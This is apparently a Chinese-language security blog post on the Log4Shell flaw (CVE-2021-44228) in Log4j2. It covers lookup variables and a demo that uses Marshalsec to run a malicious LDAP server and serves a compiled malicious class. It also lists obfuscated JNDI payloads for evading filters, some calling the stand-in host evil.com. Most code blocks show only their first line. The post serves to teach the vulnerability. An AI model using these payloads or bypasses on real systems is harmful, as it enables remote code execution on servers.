Log4j2漏洞
About Log4j2
Log4j2 是一个日志管理工具,主要用于收集、格式化、存储和分级日志。
1 | import org.apache.logging.log4j.LogManager; |
1 | 16:06:47.907 [main] ERROR SimpleLog4j2 - 这是 ERROR 级别的日志(错误信息) |
📌 日志级别从低到高(优先级):
1 | pgsql |
Log4j2 只会输出 ≥ 配置的最低日志级别
的日志。如果你的最低级别是 ERROR
,则 INFO、DEBUG 等不会输出。
Log4j2漏洞
Log4j2 远程代码执行(RCE)漏洞,又称 Log4Shell(CVE-2021-44228),是 Log4j2 低版本(<= 2.14.1) 存在的一个严重漏洞,利用不当的 JNDI(Java Naming and Directory Interface) 解析机制,攻击者可以 远程执行任意代码。
漏洞原理
请见下面的demo:
1 | import org.apache.logging.log4j.LogManager; |
这里能看到一些猫腻,payload里头${java:os}
似乎被解析了:
${java:os}
是 Log4j2 Lookups 变量,它用于获取当前操作系统的信息。
Lookup 类型 | 示例变量 | 等价于 | 作用 |
---|---|---|---|
${java:os} |
Windows 10 | System.getProperty("os.name") |
获取操作系统名称 |
${java:version} |
1.8.0_271 | System.getProperty("java.version") |
获取 Java 版本 |
${java:vm} |
OpenJDK 64-Bit | System.getProperty("java.vm.name") |
获取 JVM 名称 |
${java:home} |
C:\Program Files\Java\jdk1.8.0_271 | System.getProperty("java.home") |
获取 Java 安装目录 |
${env:USERNAME} |
root | System.getenv("USERNAME") |
获取环境变量(Windows 用户名) |
${sys:user.dir} |
C:\Users\Admin\project | System.getProperty("user.dir") |
获取当前工作目录 |
${date:yyyy-MM-dd} |
2025-03-11 | - | 获取当前日期 |
${jndi:ldap://evil.com/exploit} |
远程代码执行 | RCE 漏洞 | JNDI 远程查询(已禁用) |
注意这个${}
是基于jndi的,如果可控的话我们可以达成RCE。
漏洞Demo
受害者:
1 | import org.apache.logging.log4j.LogManager; |
使用Marshalsec搭建恶意LDAP服务器:
1 | java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR_IP:8000/#恶意类名" |
编写恶意类并编译成class:
1 | import java.io.IOException; |
在恶意class字节码目录开启Python的http服务:
1 | python -m http.server |
启动代码:
常规绕过
绕过jndi:
对于一个Lookups变量:${}
,如果参数未定义,那么:-
后面跟着的即为默认值。利用这一点:
1 | ${${::-J}ndi:ldap://127.0.0.1:1389/Exploit |
利用lower与upper字段进行绕过:
1 | ${${lower:J}ndi:ldap://127.0.0.1:1389/Calc} |
经过测试:payload中的jndi对大小写不敏感
特殊字符:ı
,ſ
像 Jackson 和 fastjson 又有 unicode 和 hex 的编码特性,所以就可以尝试编码绕过
JSON
1 | {"key":"\u0024\u007b"} |
Payload
1 | ${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject}; |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 xiaofuc's Blog!